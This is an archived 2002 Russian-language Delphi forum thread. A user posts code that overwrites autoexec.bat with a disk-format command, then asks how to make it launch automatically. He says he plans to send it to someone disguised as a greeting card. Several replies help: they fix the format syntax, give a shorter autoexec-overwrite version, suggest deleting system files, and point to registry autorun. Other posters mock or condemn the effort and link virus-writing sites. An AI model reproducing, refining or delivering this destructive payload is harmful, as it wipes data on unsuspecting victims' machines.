Форум: "Основная";
Текущий архив: 2002.04.11;
Скачать: [xml.tar.bz2];
ВнизПомогите пожалуйста пишу так надо что бы оно ещё автозапукалось! Найти похожие ветки
← →
snoup (2002-03-29 23:21) [0]Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось!
procedure TForm1.Button1Click(Sender: TObject);
var tl:tstringlist;
begin
tl:=tstringlist.create;
tl.add("@echo off");
tl.add("echo @echo off >c:\autoexec.bat");
tl.add("echo format c:/q/autotest >>c:\autoexec.bat");
tl.add("cls");
tl.savetofile("c:\virus.bat");
end;
← →
LazorenkoX (2002-03-29 23:28) [1]Хочешь вирус? Учи Ассемблер!!!
← →
Anatoly Podgoretsky (2002-03-29 23:34) [2]Зеленоват, но уже паскуден
← →
Doom (2002-03-29 23:41) [3]format c:/q/autotest пробел после с:
← →
snoup (2002-03-29 23:43) [4]Парни а если серьёзно как сделать что бы после нажатия и содздания он запускался подскажите пожалуёста???
← →
LazorenkoX (2002-03-29 23:56) [5]Попробуй сделать что-то вроде в autoexec.bat:
CALL VIRUS.BAT
а в ВИРУС.БАТ:
VIRUS:
@ECHO HELLO USER, I AM VIRUS
GOTO VIRUS
ещё не пробовал, так только-что в голову пришло.
По моему ВинМи не читает аутоекзек.бат при запуске, или я ошибаюсь?
← →
snoup (2002-03-30 00:04) [6]Нет какрастоки ВинМи читает!
Да но мне надо чтобы после создания (выше написанного кода) у меня запускался бат-файл я вот пробывал через shellexecuet:
shellexecute(handle,nil,"virus.bat",nil,nil,sw_show); но хрен и через winexec: winexec("c:\virus.bat",sw_showopen); пробывал не чего как ещё попробывать?
← →
Doom (2002-03-30 00:04) [7]
> tl.add("echo @echo off >c:\autoexec.bat");
> tl.add("echo format c:/q/autotest >>c:\autoexec.bat");
это бред.
первой строкой ты не пишешь в автоэкзек,а перенаправляешь вывод сообщений.
а по второй строке у тебя автоэкзек перезаписываеися этой строкой .
Ну и где потом искать твой формат?
Он же не в корневом каталоге?!!!!!
А это --
> tl.savetofile("c:\virus.bat");
просто глупость. Зачем кому-то читать этот файл?!!!!! На память пишешь? И вообще идея дурацкая твоя , непонятно зачем. И советую перед тем как от фонаря наугад чушь писать, почитай сначала Фигурнова "IBM PC для пользователя". Там хоть про команды дос узнаешь.
← →
Doom (2002-03-30 00:07) [8]2 Anatoly Podgoretsky
> Зеленоват, но уже паскуден
Совершенно с Вами согласен.
← →
snoup (2002-03-30 00:08) [9]>Doom
не надо обежаться но ето не фигня а рабочий код проверь если не веришь! c оно форматнёт ны win98\me! Конечно только потом этот созданный файл надо ручками запустить (кликнуть) а вот как сделать что бы он сам запускался??
← →
Doom (2002-03-30 00:19) [10]"ОНО" форматнет вот этой строкой:
> format c:/q/autotest
Кому-то хочешь подбросить и уйти? А потом чел включает и - о-па! Ни фига нету!
ты что хочешь чтобы твой вирус.тхт файл остался на винте? Если нет - нужно неписать прогу которая будет переписывать автоэкзек после всего этого иначе человек поймей что это ты сделал.
← →
snoup (2002-03-30 00:31) [11]Я просто хочу подшутить над чел. 1 апреля! И послать ему типа как инт.-открытку от admin@ukr.net а на самомо деле запустится хорошая формачка на которой будем мигать 5 сек lable1.caption а затем вызвет rundll32 сбой и он перегрузит тачку на которой уже будут вирус! Но вы меня тут уприкаете а серьёзного нечего ещё не написали так вы можете памочь?
← →
LazorenkoX (2002-03-30 00:36) [12]Так ты из Киева? А провайдер АДАМАНТ?
← →
snoup (2002-03-30 00:40) [13]>LazorenkoX ©
Нет к сажалению нет! Я из Донецкой обл.!!!!!!
← →
Doom (2002-03-30 00:49) [14]Если жто 1 апреля и человек не обидится (все равно ведь догадается ) то пишешь
tl.Add("c:\windows\format c:");
tl.SaveToFile("c:\autoexec.bat");
И все
← →
Pat (2002-03-30 17:38) [15]Нифига у вас не получится!!!!
Пишу в autoexec"e format c:/q/autotest ответ: "Диск занят другим приложением" В крайнем случае получится форматнуть D: (у меня получалось A:)...вот так...:-))
Так что, шутите лучше подругому
← →
snoup (2002-03-30 17:50) [16]>Pat ©
Пат так у тебя же Win2000 а этот вирус только для WinMe\98\95!
← →
Дима2 (2002-03-30 18:36) [17]snoup! Вирус просто крут! Не пробовал за место формата DEL использовать? Удалить Io.sys Msdos.sys и т.д. Шутка вообше супер!
P.S.На asme писать вирус не могу, а вот на PASCAL вполне сносный вирус сделал. Он ничего не делает, только заражает файлы и запускает код файла из которого был запущен. Делать не... пиши что-то подобное.
← →
POOKER (2002-03-30 19:34) [18]Е МОЕ ВИРУСОПИСАТЕЛИ ХРЕНОВЫ, ПОРОДИЕ НА Z0MBIE.MYST, ВЫ ЧТО НАРОД ДЕЛАЕТ, ХОТЯБ НЕ ПОЗОРИЛИЬ, ВЕДЬ ЭТО ФОРУМ НЕ ПО КОМПЬЮТЕРНЫМ ВИРУСАМ А ПО ДЕЛЬФИ, КСТАТИ ПО ВИРУСАМ ФОРУМ Я ТЖЕ ВИДЕЛ http://www.vxforum.cjb.net/ ВОТ ВАМ ХРЕНОВЫ ВИРУСОПИСАТЕЛИ ССЫЛКА НА ФОРУМ, ВОТ ГДЕ МОЖНО НАЙТИ ИСХОДНИКИ НАЙТИ УРОДЫ ВЫ ТУПЫЕ :(
WWW.SBVC.HOST.SK WWW.VDXGROUP.HOST.SK
ВСЕ ЭТО ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ, САМ Я ВИРУСЫ НЕ ПИСАЛ И ПИСАТЬ НЕ БУДУ И ВАМ ВСЕМ НЕ СОВЕТУЮ ЗОМБИ ХОДЯЧИИ
← →
Anatoly Podgoretsky (2002-03-30 19:39) [19]Andrey © (29.03.02 18:59)
Не нервничай так, а то испугаются и развлекаться будет не с кем :-)
← →
Doom (2002-03-30 20:22) [20]КСТАТИ POOKER - ПУКер что ли?
← →
snoup (2002-03-30 20:51) [21]>Doom ©
Внатуре так!
← →
Pat (2002-03-30 20:55) [22]>snoup © (30.03.02 17:50)
Гы...как будто ты мою такчку видел :-)) У меня Win98. Я же сказал, что проверял, а в 2000 autoexec"a нет
← →
Дима2 (2002-03-30 20:57) [23]Pat прав format в Win не пройдёт!!!
← →
POOKER (2002-03-30 21:09) [24]ГОВОРЮ ВАМ ЛЮДИ ВЫЙДЕТИ ИЗ ДЕТСТВА! Я ВАМ ДАЖЕ ССЫЛКИ ДАЛ, КСТАТИ ПО ОДНОЙ ИЗ НИХ ЕСТЬЬ КОЕ КАКИЕ ГЕНЕРАТОРЫ 6)
← →
Pat (2002-03-31 00:00) [25]>POOKER (30.03.02 21:09)
Генераторы...хм....надо пользоваться контрацептивами в виде Касперского или Нортона.
← →
POOKER (2002-03-31 11:58) [26]НАРОД НА ВАС ЧТО НАШЛО С ЭТИМИ ВИРУСАМИ, ПИШИТЕ РАДИ БОГА НО НЕ НИХ!!!!!!!!!!!!!
← →
Rooman (2002-03-31 12:35) [27]Вирусные маньяки! Говно, одним словом. В армии не служили. Сидят за компьютером, думают самые умные. В ментовку попадут - описаются и обосрутся с перепугу, все свои вирусы вывалят сразу и за чужие еще ответят, придурки! Чтоб вас менты загребли, нахер!
← →
Biorobot (2002-03-31 21:11) [28]Через реестр с компонентом TRegistry и uses registry;
reg:tregistry
← →
Pat (2002-03-31 21:39) [29]Кому интересно, насчет ментов:
http://www.sbvc.host.sk/arts/uk.htm
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2002.04.11;
Скачать: [xml.tar.bz2];
Память: 0.5 MB
Время: 0.008 c